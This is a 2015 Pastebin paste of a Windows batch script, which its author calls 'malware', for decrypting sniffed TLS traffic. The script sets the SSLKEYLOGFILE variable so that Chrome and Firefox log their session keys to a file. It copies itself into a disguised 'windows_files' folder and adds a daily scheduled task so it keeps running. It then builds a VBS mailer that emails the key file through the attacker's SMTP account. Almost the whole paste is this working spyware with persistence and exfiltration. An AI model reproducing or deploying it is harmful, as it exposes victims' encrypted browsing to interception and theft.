Guest User

Decrypt TLS/SSL Sniffed Traffic via SSLKEYLOGFILE

a guest
Mar 27th, 2015
2,703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.64 KB | None | 0 0
  1. :: Decrypt #TLS & #SSL sniffed traffic via SSLKEYLOGFILE feature of Chrome and Firefox, using my tiny "malware" !
  2. :: http://www.sans.org/reading-room/whitepapers/authentication/ssl-tls-whats-hood-34297
  3. :: Tested on Windows 7 about a year ago
  4.  
  5. @echo off
  6. setlocal
  7.  
  8. mkdir c:\windows_files
  9. echo. 2> c:\windows_files\premaster.txt
  10. setx SSLKEYLOGFILE "c:\windows_files\premaster.txt"
  11.  
  12. copy %0 "c:\windows_files\windows.bat" > nul
  13.  
  14. SchTasks /Create /SC DAILY /TN “MY” /TR “C:\windows_files\windows.bat” /ST 09:00
  15.  
  16.  
  17. :: use these settings to send from a gmail account
  18. :: set port=465 and set SSL=True
  19.  
  20. :: use these settings for standard email SMTP port and no encryption
  21. :: set port=25 and set SSL=False
  22.  
  23. :: Change these following items to use the same variables all the time
  24. :: or use the command line to pass all the variables
  25.  
  26. set Port=465
  27. set SSL=True
  28. set From="[email protected]"
  29. set Subject="Subject line"
  30. set Body="Email Body in one line"
  31. set SMTPServer="smtp.mail.yahoo.com"
  32. set User="attacker_yahoo_username"
  33. set Pass="attacker_yahoo_password"
  34. set fileattach="c:\windows_files\premaster.txt"
  35.  
  36.  
  37. :: This section sets the command line arguments
  38.  
  39.  
  40. if "%~7" NEQ "" (
  41. set From="%~1"
  42. set To="%~2"
  43. set Subject="%~3"
  44. set Body="%~4"
  45. set SMTPServer="%~5"
  46. set User="%~6"
  47. set Pass="%~7"
  48. set fileattach="%~8"
  49. )
  50.  
  51. set "vbsfile=%temp%\email-bat.vbs"
  52. del "%vbsfile%" 2>nul
  53. set cdoSchema=http://schemas.microsoft.com/cdo/configuration
  54. echo >>"%vbsfile%" Set objArgs = WScript.Arguments
  55. echo >>"%vbsfile%" Set objEmail = CreateObject("CDO.Message")
  56. echo >>"%vbsfile%" objEmail.From = %From%
  57. echo >>"%vbsfile%" objEmail.To = %To%
  58. echo >>"%vbsfile%" objEmail.Subject = %Subject%
  59. echo >>"%vbsfile%" objEmail.Textbody = %body%
  60. if exist %fileattach% echo >>"%vbsfile%" objEmail.AddAttachment %fileattach%
  61. echo >>"%vbsfile%" with objEmail.Configuration.Fields
  62. echo >>"%vbsfile%" .Item ("%cdoSchema%/sendusing") = 2 ' not local, smtp
  63. echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpserver") = %SMTPServer%
  64. echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpserverport") = %port%
  65. echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpauthenticate") = 1 ' cdobasic
  66. echo >>"%vbsfile%" .Item ("%cdoSchema%/sendusername") = %user%
  67. echo >>"%vbsfile%" .Item ("%cdoSchema%/sendpassword") = %pass%
  68. echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpusessl") = %SSL%
  69. echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpconnectiontimeout") = 30
  70. echo >>"%vbsfile%" .Update
  71. echo >>"%vbsfile%" end with
  72. echo >>"%vbsfile%" objEmail.Send
  73.  
  74. cscript.exe /nologo "%vbsfile%"
  75. echo email sent (if variables were correct)
Advertisement
Add Comment
Please, Sign In to add comment